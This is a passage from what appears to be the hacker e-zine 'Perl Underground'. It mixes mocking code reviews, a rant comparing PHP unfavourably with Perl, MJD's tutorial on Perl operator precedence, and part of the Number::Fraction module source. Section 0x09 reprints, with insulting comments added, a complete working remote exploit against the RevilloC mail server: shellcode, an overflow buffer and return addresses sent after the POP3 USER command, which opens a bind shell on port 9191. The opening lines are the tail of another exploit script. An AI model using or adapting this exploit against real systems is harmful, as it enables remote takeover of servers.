print $sock "Connection: close\r\n\r\n";
$out='';
# way to change your quoting style
while ($answer = <$sock>) {
$out.=$answer;
}
close($sock);
@temp= split /666/,$out,3;
if ($#temp>1) {print "\r\nExploit succeeded...\r\n".$temp[1];exit();}
# I haven't seen any of this code before....
}
#if you are here...
print "\r\nExploit failed...\r\n";
} else {
print "No action specified ...\r\n";
}
# congrats on trimming down the commenting and printing on the next one you released
# maybe I should have waited for it
# don't get me wrong, the code is just as shitty
-[0x07] # Wait: PHP SUCKS ------------------------------------------------
Time for the enlightenment. The "PHP sucks and we're telling you why"
orgy. This is the Perl Underground in everybody.
<revdiablo> The earth turns, the grass grows, PHP sucks.
First of all, what are you going to do with namespaces? PHP still does
not have namespaces.
Then, what will you do with closures? PHP has no closures. Heck, it
doesn't even have anonymous functions. That's another thing: how will
you be rewriting that hash of coderefs? A hash of strings that are
evaled at runtime?
And what about all those objects that aren't simple hashes?
But let's assume you didn't use any of these slightly more advanced
programming techniques than the average PHP "programmer" can handle.
But you did use modules. You do use modules, don't you?
PHP is a web programming language, so it must have a good HTML parser
ready, right? One is available, but it cannot be called good. It cannot
even parse processing instructions like, ehm, <?php ...?> itself.
Another common task in web programming is sending HTML mail with a few
inline images. So what alternative for MIME::Lite do you have? The
PHP-ish solution is to build the message manually. Good luck, and have
fun.
But at least it can open files over HTTP. Yes, that it can. But what do
you do if you want more than that? What if you want to provide POST
content, headers, or implement ETags? Then, you must use Curl, which
isn't nearly as convenient as LWP. Don't even think about having
something like WWW::Mechanize in PHP.
Enough with the modules. I think I've proven my point that CPAN makes
Perl strong. Now let's discuss the core. In fact, let's focus on
something extremely elementary in programming: arrays!
PHP's "arrays" are hashes. It does not have arrays in the sense that
most languages have them. You can't just translate $foo[4] = 4; $foo[2]
= 2; foreach $element (@foo) { print $element } to $foo[4] = 4; $foo[2]
= 2; foreach ($foo as $element) { print $element }. The Perl version
prints 24, PHP insists on 42. Yes, there is ksort(), but that isn't
something you can guess. It requires very in-depth knowledge of PHP.
And that's the one thing PHP's documentation tries to avoid :)
Also, don't think $foo = bar() || $baz does the same in PHP. In PHP,
you end up with true or false. So you must write it in two separate
expressions.
Exactly what makes you think and even say moving from Perl to PHP is
easy? It's very, very hard to un-learn concise programming and go back
to medieval programming times. And converting existing code is even
harder.
<Brend> (Also, PHP sucks)
Arguments and return values are extremely inconsistent
To show this problem, here's a nice table of the functions that match a
user defined thing: (with something inconsistent like this, it's
amazing to find that the PHP documentation doesn't have such a table.
Maybe even PHP people will use this document, just to find out what
function to use :P)
replaces case gives s/m/x
offset
matches with insens number arrays matches flags
(-1=end)
ereg ereg no all no array no 0
ereg_replace ereg str no all no no no 0
eregi ereg yes all no array no 0
eregi_replace ereg str yes all no no no 0
mb_ereg ereg no all no array no 0
mb_ereg_replace ereg str/expr no all no no yes 0
mb_eregi ereg yes all no array no 0
mb_eregi_replace ereg str yes all no no no 0
preg_match preg yes/no one no array yes 0
preg_match_all preg yes/no all no array yes 0
preg_replace preg str/expr yes/no n/all yes no yes 0
str_replace str str no all yes number no 0
str_ireplace str str yes all yes number no 0
strstr, strchr str/char no one no substr no 0
stristr str/char yes one no substr no 0
strrchr char no one no substr no -1
strpos str/char no one no index no n
stripos str/char yes one no index no n
strrpos char no one no index no n
strripos str yes one no index no -1
mb_strpos str no one no index no n
mb_strrpos str yes one no index no -1
The problem exists for other function groups too, not just for
matching.
(In Perl, all the functionality provided by the functions in this table
is available through a simple set of 4 operators.)
<linuxnohow> dude, PHP sucks. plain and simple.
PHP has no lexical scope
Perl has lexical scope and dynamic scope. PHP doesn't have these.
For an explanation of why lexical scope is important, see Coping with
Scoping.
PHP Perl
Superglobal Yes Yes
Global Yes Yes
Function local Yes Yes
Lexical (block local) No Yes
Dynamic No Yes
<japhy> PHP sucks again.
PHP has too many functions in the main namespace
(Using the core binaries compiled with all possible extensions in the
core distribution, using recent versions in November 2003.)
Number of PHP main functions: 3079
Number of Perl main functions: 206
Median PHP function name length: 13
Mean PHP function name length: 13.67
Median Perl function name length: 6
Mean Perl function name length: 6.22
Note that Perl has short syntax equivalents for some functions:
readpipe('ls -l') ==> `ls -l`
glob('*.txt') ==> <*.txt>
readline($fh) ==> <$fh>
quotemeta($foo) ==> "\Q$foo"
lcfirst($foo) ==> "\l$foo" (lc is \L)
ucfirst($foo) ==> "\u$foo" (uc is \U)
<sili> i'm there to slip in snide comments about how php sucks
No real references or pointers
No idea of namespace
No componentization
Wants to be Perl, but doesn't want to be Perl
No standard DB interface
All PHP community sites are for non-programmers
No chained method calls (Not true anymore --tnx.nl)
No globals except by importation
Both register_globals and $_REQUEST bite
Arrays are hashes
PEAR just ain't CPAN
Arrays cannot be interpolated into strings
No "use strict" like checking of variable names
<Juerd> php sucks
Perl is faster than PHP
Perl is more versatile than PHP
Perl has better documentation than PHP
PHP lacks support for modules
PHP's here-docs are useless for Windows users
PHP lacks a consistent database API
PHP dangerously caches database query results
For graphics, PHP is practically limited to GD
<rindolf> I think PHP is the language and has applications with
the worst security track on the planet.
<rindolf> Perl code can also be very insecure, but it's harder,
and also most PHP programmers are much more clueless than most Perl
programmers.
Comparing PHP to CGI/Perl is pointless. Compare PHP to either
Apache::EmbPerl or HTML::Mason, and you are starting to get a fair
comparison.
Having watched PHP develop over the years, it started out as a very
simple Perl replacement, but then has been slowly adding features of
Perl one by one, but three to five years later. In another five years,
it'll probably be where Perl is now.
So why wait? With Perl, you get a mature language, and a language that
works as well off the web as on. And HTML::Mason and everything else in
the CPAN make leveraging other people's implementation a snap for
nearly any common task.
PHP - it's "training wheels without the bike".
<pH> Of course you can write complex scripts in PHP - it's Turing
complete. It's just painful.
-[0x08] # School You: MJD ------------------------------------------------
Just the FAQs: Precedence Problems
What is Precedence?
What's 2+3�.4?
You probably learned about this in grade school; it was fourth-grade
material in the New York City public school I attended. If not, that's
okay too; I'll explain everything.
It's well-known that 2+3�.4 is 14, because you are supposed to do the
multiplication before the addition. 3�.4 is 12, and then you add the 2
and get 14. What you do not do is perform the operations in
left-to-right order; if you did that you would add 2 and 3 to get 5,
then multiply by 4 and get 20.
This is just a convention about what an expression like 2+3�.4 means.
It's not an important mathematical fact; it's just a rule we set down
about how to interpret certain ambiguous arithmetic expressions. It
could have gone the other way, or we could have the rule that the
operations are always done left-to-right. But we don't have those
rules; we have the rule that says that you do the multiplication first
and then the addition. We say that multiplication takes precedence over
addition.
What if you really do want to say `add 2 and 3, and multiply the result
by 4'? Then you use parentheses, like this: (2+3)�.4. The rule about
parentheses is that expressions in parentheses must always be fully
evaluated before anything else.
If we always used the parentheses, we wouldn't need rules about
precedence. There wouldn't be any ambiguous expressions. We have
precedence rules because we're lazy and we like to leave out the
parentheses when we can. The fully-parenthesized form is always
unambiguous. The precedence rule tells us how to interpret a version
with fewer parentheses to decide what it would look like if we wrote
the equivalent fully-parenthesized version. In the example above:
2+(3�.4)
(2+3)�.4
Is 2+3�.4 like (a) or like (b)?
The precedence rule just tells us that it is like (a), not like (b).
Rules and More Rules
In grade school you probably learned a few more rules:
4 �. 52
Is this the same as
(4 x 5)2 = 400
or 4 x (52) = 100
? The rule is that exponentiation takes precedence over multiplication,
so it's the 100, and not 400.
What about 8 - 3 + 4? Is this like (8 - 3) + 4 = 9 or 8 - (3 + 4) = 1?
Here the rule is a little different. Neither + nor - has precedence
over the other. Instead, the - and + are just done left-to-right. This
rule handles the case of 8 - 4 - 3 also. Is it (8 - 4) - 3 = 1 or is it
8 - (4 - 3) = 7? Subtractions are done left-to-right, so it's 1 and not
7. A similar left-to-right rule handles ties between * and /.
Our rules are getting complicated now:
. Exponentiation first
. Then multiplication and division, left to right
. Then addition and subtraction, left to right
Maybe we can leave out the `left-to-right' part and just say that all
ties will be broken left-to right? No, because for exponentiation that
isn't true.
223
means 2(23) = 256, not (22)3 = 64.
So exponentiations are resolved from upper-right to lower-left. Perl
uses the token ** to represent exponentiation, writing x**y instead of
xy . In this case x**y**z means x**(y**z), not (x**y)**z, so ** is
resolved right-to-left.
Programming languages have this same notational problem, except that
they have it even worse than mathematics does, partly because they have
so many different operator symbols. For example, Perl has at least
seventy different operator symbols. This is a problem, because
communication with the compiler and with other programmers must be
unambiguous. You don't want to be writing something like 2+3�.4 and
have Perl compute 20 when you wanted 14, or vice versa.
Nobody knows a really good solution to this problem, and different
languages solve it in different ways. For example, the language APL,
which has a whole lot of unfamiliar operators like and , dispenses
with precedence entirely and resolves them all from right to left. The
advantage of this is that you don't have to remember any rules, and the
disadvantage is that many expressions are confusing: If you write
2*3+4, you get 14, not 10. In Lisp the issue never comes up, because in
Lisp the parentheses are required, and so there are no ambiguous
expressions. (Now you know why Lisp looks the way it does.)
Perl, with its seventy operators, has to solve this problem somehow.
The strategy Perl takes (and most other programming languages as well)
is to take the fourth-grade system and extend it to deal with the new
operators. The operators are divided into many `precedence levels', and
certain operations, like multiplication, have higher precedence than
other operations, like addition. The levels are essentially arbitrary,
and are chosen without any deep plan, but with the hope that you will
be able to omit most of the parentheses most of the time and still get
what you want. So, for example, Perl gives * a higher precedence than
+, and ** a higher precedence than *, just like in grade school.
An Explosion of Rules
Let's see some examples of the reasons for which the precedence levels
are set the way they are. Suppose you wrote something like this:
$v = $x + 3;
This is actually ambiguous. It might mean
($v = $x) + 3;
or it might mean
$v = ($x + 3);
The first of these is silly, because it stores the value $x into $v,
and then computes the value of $x+3 and then throws the result of the
addition away. In this case the addition was useless. The second one,
however, makes sense, because it does the addition first and stores the
result into $v. Since people write things like
$v = $x + 3;
all the time, and expect to get the second behavior and not the first,
Perl's = operator has low precedence, lower than the precedence of +,
so that Perl makes the second interpretation.
Here's another example:
$result = $x =~ /foo/;
means this:
$result = ($x =~ /foo/);
which looks to see if $x contains the string foo, and stores a true or
false result into $result. It doesn't mean this:
($result = $x) =~ /foo/;
which copies the value of $x into $result and then looks to see if
$result contains the string foo. In this case it's likely that the
programmer wanted the first meaning, not the second. But sometimes you
do want it to go the other way. Consider this expression:
$p = $q =~ s/w//g;
Again, this expression is interpreted this way:
$p = ($q =~ s/w//g);
All the w's are removed from $q, and the number of successful
substitutions is stored into $p. However, sometimes you really do want
the other meaning:
($p = $q) =~ s/w//g;
This copies the value of $q into $p, and then removes all the w's from
$p, leaving $q alone. If you want this, you have to include the
parentheses explicitly, because = has lower precedence than =~.
Often the rules do what you want. Consider this:
$worked = 1 + $s =~ /pattern/;
There are five ways to interpret this:
($worked = 1) + ($s =~ /pattern/);
(($worked = 1) + $s) =~ /pattern/;
($worked = (1 + $s)) =~ /pattern/;
$worked = ((1 + $s) =~ /pattern/);
$worked = (1 + ($s =~ /pattern/));
We already know that + has higher precedence than =, so it happens
before =, and that rules out (a) and (b).
We also know that =~ has higher precedence than =, so that rules out
(c).
To choose between (d) and (e) we need to know whether + takes
precedence over =~ or vice versa. (d) will convert $s to a number, add
1 to it, convert the resulting number to a string, and do the pattern
match. That is a pretty silly thing to do. (e) will match $s against
the pattern, return a boolean result, add 1 to that result to yield the
number 1 or 2, and store the number into $worked. That makes a lot more
sense; perhaps $worked will be used later to index an array. We should
hope that Perl chooses interpretation (e) rather than (d). And in fact
that is what it does, because =~ has higher precedence than +. =~
behaves similarly with respect to multiplication.
Our table of precedence is shaping up:
1. ** (right to left)
2. =~
3. *, / (left to right)
4. +, - (left to right)
5. =
How are multiple = resolved? Left to right, or right to left? The
question is whether this:
$a = $b = $c;
will mean this:
($a = $b) = $c;
or this:
$a = ($b = $c);
The first one means to store the value of $b into $a, and then to store
the value of $c into $a; this is obviously not useful. But the second
one means to store the value of $c into $b, and then to store that
value into $a also, and that obviously is useful. So = is resolved
right to left.
Why does =~ have lower precedence than **? No good reason. It's just a
side effect of the low precedence of =~ and the high precedence of **.
It's probably very rare to have =~ and ** in the same expression
anyway. Perl tries to get the common cases right. Here's another common
case:
if ($x == 3 && $y == 4) { ... }
Is this interpreted as:
(($x == 3) && $y) == 4
($x == 3) && ($y == 4)
($x == ( 3 && $y)) == 4
$x == ((3 && $y) == 4)
$x == ( 3 && ($y == 4))
We really hope that it will be (b). To make (b) come out, && will have
to have lower precedence than ==; if the precedence is higher we'll get
(c) or (d), which would be awful. So && has lower precedence than ==.
If this seems like an obvious decision, consider that Pascal got it
wrong.
|| has precedence about the same as &&, but slightly lower, in
accordance with the usual convention of mathematicians, and by analogy
with * and +. ! has high precedence, because when people write
!$x .....some long complicated expression....
they almost always mean that the ! applies to the $x, not to the entire
long complicated expression. In fact, almost the only time they don't
mean this is in cases like this one:
if (! $x->{'annoying'}) { ... }
it would be very annoying if this were interpreted to mean
if ((! $x)->{'annoying'}) { ... }
The same argument we used to explain why ! has high precedence works
even better and explains why -> has even higher precedence. In fact, ->
has the highest precedence of all. If ## and @@ are any two operators
at all, then
$a ## $x->$y
and
$x->$y @@ $b
always mean
$a ## ($x->$y)
and
($x->$y) @@ $b
and not
($a ## $x)->$y
or
$x->($y @@ $b)
For a long time, the operator with lowest precedence was the ,
operator. The , operator is for evaluating two expressions in sequence.
For example
$a*=2 , $c*=3
doubles $a and triples $c. It would be a shame if you wrote something
like this:
$a*=2 , $c*=3 if $change_the_variables;
and Perl interpreted it to mean this:
$a*= (2, $c) *= 3 if $change_the_variables;
That would just be bizarre. The very very low precedence of , ensures
that you can write
EXPR1, EXPR2
for any two expressions at all, and be sure that they are not going to
get mashed together to make some nonsense expression like $a*= (2, $c)
*= 3.
, is also the list constructor operator. If you want to make a list of
three things, you have to write
@list = ('Gold', 'Frankincense', 'Myrrh');
because if you left off the parentheses, like this:
@list = 'Gold', 'Frankincense', 'Myrrh';
what you would get would be the same as this:
(@list = 'Gold'), 'Frankincense', 'Myrrh';
This assigns @list to have one element (Gold) and then executes the two
following expressions in sequence, which is pointless. So this is a
prime example of a case where the default precedence rules don't do
what you want. But people are already in the habit of putting
parentheses around their list elements, so nobody minds this very much,
and the problem isn't really a problem at all.
Precedence Traps and Surprises
This very low precedence for , causes some other problems, however.
Consider this common idiom:
open(F, "< $file") || die "Couldn't open $file: $!";
This tries to open a filehandle, and if it can't it aborts the program
with an error message. Now watch what happens if you leave the
parentheses off the open call:
open F, "< $file" || die "Couldn't open $file: $!";
, has very low precedence, so the || takes precedence here, and Perl
interprets this expression as if you had written this:
open F, ("< $file" || die "Couldn't open $file: $!");
This is totally bizarre, because the die will only be executed when the
string "< $file" is false, which never happens. Since the die is
controlled by the string and not by the open call, the program will not
abort on errors the way you wanted. Here we wish that || had lower
precedence, so that we could write
try to perform big long hairy complicated action || die ;
and be sure that the || was not going to gobble up part of the action
the way it did in our open example. Perl 5 introduced a new version of
|| that has low precedence, for exactly this purpose. It's spelled or,
and in fact it has the lowest precedence of all Perl's operators. You
can write
try to perform big long hairy complicated action or die ;
and be quite sure that or will not gobble up part of the action the way
it did in our open example, whether or not you leave off the
parentheses. To summarize:
open(F, "< $file") or die "Couldn't open $file: $!"; # OK
open F, "< $file" or die "Couldn't open $file: $!"; # OK
open(F, "< $file") || die "Couldn't open $file: $!"; # OK
open F, "< $file" || die "Couldn't open $file: $!"; #
Whooops!
If you use or, you're safe from this error, and if you always put in
the parentheses, you're safe. Pick a strategy you like and stick with
it.
The other big use of || is to select a value from the first source that
provides it. For example:
$directory = $opt_D || $ENV{DIRECTORY} || $DEFAULT_DIRECTORY;
It looks to see if there was a -D command-line option specifying the
directory first; if not, it looks to see if the user set the DIRECTORY
environment variable; if neither of these is set, it uses a hard-wired
default directory. It gets the first value that it can, so, for
example, if you have the environment variable set and supply an
explicit -D option when you run the program, the option overrides the
environment variable. The precedence of || is higher than that of =, so
this means what we wanted:
$directory = ($opt_D || $ENV{DIRECTORY} || $DEFAULT_DIRECTORY);
But sometimes people have a little knowledge and end up sabotaging
themselves, and they write this:
$directory = $opt_D or $ENV{DIRECTORY} or $DEFAULT_DIRECTORY;
or has very very very low precedence, even lower than =, so Perl
interprets this as:
($directory = $opt_D) or $ENV{DIRECTORY} or $DEFAULT_DIRECTORY;
$directory is always assigned from the command-line option, even if
none was set. Then the values of the expressions $ENV{DIRECTORY} and
$DEFAULT_DIRECTORY are thrown away. Perl's -w option will warn you
about this mistake if you make it. To avoid it, remember this rule of
thumb: use || for selecting values, and use or for controlling the flow
of statements.
List Operators and Unary Operators
A related problem is that all of Perl's `list operators' have high
precedence, and tend to gobble up everything to their right. (A `list
operator' is a Perl function that accepts a list of arguments, like
open as above, or print.) We already saw this problem with open. Here's
a similar sort of problem:
@successes = (unlink $new, symlink $old, $new, open N, $new);
This isn't even clear to humans. What was really meant was
@successes = (unlink($new), symlink($old, $new), open(N,
$new));
which performs the three operations in sequence and stores the three
success-or-failure codes into @successes. But what Perl thought we
meant here was something totally different:
@successes = (unlink($new, symlink($old, $new, open(N,
$new))));
It thinks that the result of the open call should be used as the third
argument to symlink, and that the result of symlink should be passed to
unlink, which will try to remove a file with that name. This won't even
compile, because symlink needs two arguments, not three. We saw one way
to dismbiguate this; another is to write it like this:
@successes = ((unlink $new), (symlink $old, $new), (open N,
$new));
Again, pick a style you like and stick with it.
Why do Perl list operators gobble up everything to the right? Often
it's very handy. For example:
@textfiles = grep -T, map "$DIRNAME/$_", readdir DIR;
Here Perl behaves as if you had written this:
@textfiles = grep(-T, (map("$DIRNAME/$_", (readdir(DIR)))));
Some filenames are read from the dirhandle with readdir and the
resulting list is passed to map, which turns each filename into a full
path name and returns a list of paths. Then grep filters the list of
paths, extracts all the paths that refer to text files, and returns a
list of just the text files from the directory.
One possibly fine point is that the parentheses might not always mean
what you want. For example, suppose you had this:
print $a, $b, $c;
Then you discover that you need to print out double the value of $a. If
you do this you're safe:
print 2*$a, $b, $c;
but if you do this, you might get a surprise:
print (2*$a), $b, $c;
If a list operator is followed by parentheses, Perl assumes that the
parentheses enclose all the arguments, so it interprets this as:
(print (2*$a)), $b, $c;
It prints out twice $a, but doesn't print out $b or $c at all. (Perl
will warn you about this if you have -w on.) To fix this, add more
parentheses:
print ((2*$a), $b, $c);
Some people will suggest that you do this instead:
print +(2*$a), $b, $c;
Perl does what you want here, but I think it's bad advice because it
looks bizarre.
Here's a similar example:
print @items, @more_items;
Say we want to join up the @items with some separator, so we use join:
print join '---', @items, @more_items;
Oops; this is wrong; we only want to join @items, not @more_items also.
One way we might try to fix this is:
print (join '---', @items), @more_items;
This falls afoul of the problem we just saw: Perl sees the parentheses,
assumes that they contain the arguments of print, and never prints
@more_items at all. To fix, use
print ((join '---', @items), @more_items);
or
print join('---', @items), @more_items;
Sometimes you won't have this problem. Some of Perl's built-in
functions are unary operators, which means that they always get exactly
one argument. defined and uc are examples. They don't have the problem
that the list operators have of gobbling everything to the right; the
only gobble one argument. Here's an example similar to the one I just
showed:
print $a, $b;
Now we decide we want to print $a in all lower case letters:
print lc $a, $b;
Don't we have the same problem as in the print join example? If we did,
it would print $b in all lower case also. But it doesn't, because lc is
a unary operator and only gets one argument. This doesn't need any
fixing.
left terms and list operators (leftward)
left ->
nonassoc ++ --
right **
right ! ~ \ and unary + and -
left =~ !~
left * / % x
left + - .
left << >>
nonassoc named unary operators
nonassoc < > <= >= lt gt le ge
nonassoc == != <=> eq ne cmp
left &
left | ^
left &&
left ||
nonassoc .. ...
right ?:
right = += -= *= etc.
left , =>
nonassoc list operators (rightward)
right not
left and
left or xor
This is straight out of the perlop manual page that comes with Perl.
left and right mean that the
operators associate to the left or the
right, respectively; nonassoc means that the operators don't associate
at all. For example, if you try to write
$a < $b < $c
Perl will deliver a syntax error message. Perhaps what you really meant
was
$a < $b && $b < $c
The precedence table is much too big and complicated to remember;
that's a problem with Perl's approach. You have to trust it to handle
to common cases correctly, and be prepared to deal with bizarre,
hard-to-find bugs when it doesn't do what you wanted. The alternatives,
as I mentioned before, have their own disadvantages.
How to Remember all the Rules
Probably the best strategy for dealing with Perl's complicated
precedence hierarchy is to cluster the operators in your mind:
Arithmetic: +, -, *, /, %, **
Bitwise: &, |, ~, <<, >>
Logical: &&, ||, !
Comparison: ==, !=, >=, <=, >, <
Assignment: =, +=, -=, *=, /=, etc.
and try to remember how the operators behave within each group. Mostly
the answer will be `they behave as you expect'. For example, the
operators in the `arithmetic' group all behave the according to the
rules you learned in fourth grade. The `comparison' group all have
about the same precedence, and you aren't allowed to mix them anyway,
except to say something like
$a<$b == $c<$d
which compares the truth values of $a<$b and $c<$d.
Then, once you're familiar with the rather unsurprising behavior of the
most common groups, just use parentheses liberally everywhere else.
-[0x09] # Who are these losers? ------------------------------------------
#!/usr/bin/perl -w
#revilloC mail server PoC exploit ( for xp sp1)
# Discovered securma massine from MorX Security Research Team (http://www.morx.org).
#RevilloC is a MailServer and Proxy v 1.21 (http://www.revilloC.com)
#The mail server is a central point for emails coming in and going out from home or office
#The service will work with any standard email client that supports POP3 and SMTP.
#by sending a large buffer after USER commands
#C:\>nc 127.0.0.1 110
#+OK RevilloC POP3 Ready
#USER "A" x4081 + "\xff"x4 + "\xdd"x4 + "\x0d\x0a" (xp sp2)
#we have:
#access violation when reading [dddddddd].
#ntdll!wcsncat+0x387:
#7C92B3FB 8B0B MOV ECX,DWORD PTR DS:[EBX] --->EBX pointe to "\xdd"x4
#ECX dddddddd
#EAX FFFFFFFF
#Vendor contacted 14/01/2006 , No response,No patch.
#this entire document is for eductional, testing and demonstrating purpose only.
#greets all MorX members,undisputed,sara
# NEW RULE: Use POD if you're going to comment so much shit
# Or something. Quote it for all I care
#!/usr/bin/perl -w
# oh yeah, two shebang lines
use IO::Socket;
# why must it all be tabbed? was this your doing?
if ($#ARGV<0)
# yuck yuck yuck
{
print "\n write the target IP!! \n\n";
exit;
}
$shellcode = "\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33".
"\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C".
"\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE".
"\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB".
"\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77".
"\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77".
"\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77".
"\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77".
"\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77".
"\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77".
"\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77".
"\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77".
"\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77".
"\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB".
"\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C".
"\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0".
"\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77".
"\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0".
"\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB".
"\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5".
"\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98".
"\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE".
"\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77".
"\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8".
"\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF".
"\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90".
"\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74".
"\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4".
"\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94".
"\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5".
"\xD3\x4A\x8C\x88";
$buffer = "\x90"x3601;
$eax ="\x83\xb5\x19\x01"; # change if needed
$peb= "\x20\xf0\xfd\x7f"; #PEB lock
$user ="USER ";
$enter = "\x0d\x0a";
$connect = IO::Socket::INET ->new (Proto=>"tcp",
PeerAddr=> "$ARGV[0]",
# quote quote
PeerPort=>"110"); unless ($connect) { die "cant connect" }
# or die "you stupid moron";
# clean it up a bit. set $\ to "\n"
print "\nRevilloC mail server remote PoC exploit by securma massine\n";
print "\nsecurma\@morx.org\n";
print "\n+++++++++++www.morx.org++++++++++++++++\n";
$connect->recv($text,128);
print "$text\n";
print "[+] Sent USER\n";
$connect->send($user . $buffer . $shellcode . $eax . $peb . $enter);
print "[+] Sent shellcode..telnet to victim host port 9191\n";
# how do you make something so simple so ugly?
# why do you bloat it so?
# why can it not be elegent?
# why must you make it HURT
-[0x0A] # School You: davorg ---------------------------------------------
# $Id: Fraction.pm,v 1.9 2006/03/02 13:00:05 dave Exp $
=head1 NAME
Number::Fraction - Perl extension to model fractions
=head1 SYNOPSIS
use Number::Fraction;
my $f1 = Number::Fraction->new(1, 2);
my $f2 = Number::Fraction->new('1/2');
my $f3 = Number::Fraction->new($f1); # clone
my $f4 = Number::Fraction->new; # 0/1
or
use Number::Fraction ':constants'
my $f1 = '1/2';
my $one = $f1 + $f2;
my $half = $one - $f1;
print $half; # prints '1/2'
=head1 ABSTRACT
Number::Fraction is a Perl module which allows you to work with fractions
in your Perl programs.
=head1 DESCRIPTION
Number::Fraction allows you to work with fractions (i.e. rational
numbers) in your Perl programs in a very natural way.
It was originally written as a demonstration of the techniques of
overloading.
If you use the module in your program in the usual way
use Number::Fraction;
you can then create fraction objects using C<Number::Fraction->new> in
a number of ways.
my $f1 = Number::Fraction->new(1, 2);
creates a fraction with a numerator of 1 and a denominator of 2.
my $f2 = Number::Fraction->new('1/2');
does the same thing but from a string constant.
my $f3 = Number::Fraction->new($f1);
makes C<$f3> a copy of C<$f1>
my $f4 = Number::Fraction->new; # 0/1
creates a fraction with a denominator of 0 and a numerator of 1.
If you use the alterative syntax of
use Number::Fraction ':constants';
then Number::Fraction will automatically create fraction objects from
string constants in your program. Any time your program contains a
string constant of the form C<\d+/\d+> then that will be automatically
replaced with the equivalent fraction object. For example
my $f1 = '1/2';
Having created fraction objects you can manipulate them using most of the
normal mathematical operations.
my $one = $f1 + $f2;
my $half = $one - $f1;
Additionally, whenever a fraction object is evaluated in a string
context, it will return a string in the format x/y. When a fraction
object is evaluated in a numerical context, it will return a floating
point representation of its value.
Fraction objects will always "normalise" themselves. That is, if you
create a fraction of '2/4', it will silently be converted to '1/2'.
=cut
package Number::Fraction;
use 5.006;
use strict;
use warnings;
use Carp;
our $VERSION = sprintf "%d.%02d", '$Revision: 1.9 $ ' =~ /(\d+)\.(\d+)/;
use overload
q("") => 'to_string',
'0+' => 'to_num',
'+' => 'add',
'*' => 'mult',
'-' => 'subtract',
'/' => 'div',
fallback => 1;
my %_const_handlers =
(q => sub { return __PACKAGE__->new($_[0]) || $_[1] });
=head2 import
Called when module is C<use>d. Use to optionally install constant
handler.
=cut
sub import {
overload::constant %_const_handlers if $_[1] and $_[1] eq ':constants';
}
=head2 unimport
Be a good citizen and uninstall constant handler when caller uses
C<no Number::Fraction>.
=cut
sub unimport {
overload::remove_constant(q => undef);
}
=head2 new
Constructor for Number::Fraction object. Takes the following kinds of
parameters:
=over 4
=item *
A single Number::Fraction object which is cloned.
=item *
A string in the form 'x/y' where x and y are integers. x is used as the
numerator and y is used as the denominator of the new object.
=item *
Two integers which are used as the numerator and denominator of the
new object.
=item *
A single integer which is used as the numerator of the the new object.
The denominator is set to 1.
=item *
No arguments, in which case a numerator of 0 and a denominator of 1
are used.
=back
Returns C<undef> if a Number::Fraction object can't be created.
=cut
sub new {
my $class = shift;
my $self;
if (@_ >= 2) {
return unless $_[0] =~ /^-?\d+$/ and $_[1] =~ /^-?\d+$/;
$self->{num} = $_[0];
$self->{den} = $_[1];
} elsif (@_ == 1) {
if (ref $_[0]) {
if (UNIVERSAL::isa($_[0], $class)) {
return $class->new($_[0]->{num},
$_[0]->{den});
} else {
croak "Can't make a $class from a ",
ref $_[0];
}
} else {
return unless $_[0] =~ m|^(-?\d+)(?:/(-?\d+))?$|;
$self->{num} = $1;
$self->{den} = defined $2 ? $2 : 1;
}
} else {
$self->{num} = 0;
$self->{den} = 1;
}
bless $self, $class;
$self->_normalise;
return $self;
}
sub _normalise {
my $self = shift;
my $hcf = _hcf($self->{num}, $self->{den});
for (qw/num den/) {
$self->{$_} /= $hcf;
}
if ($self->{den} < 0) {
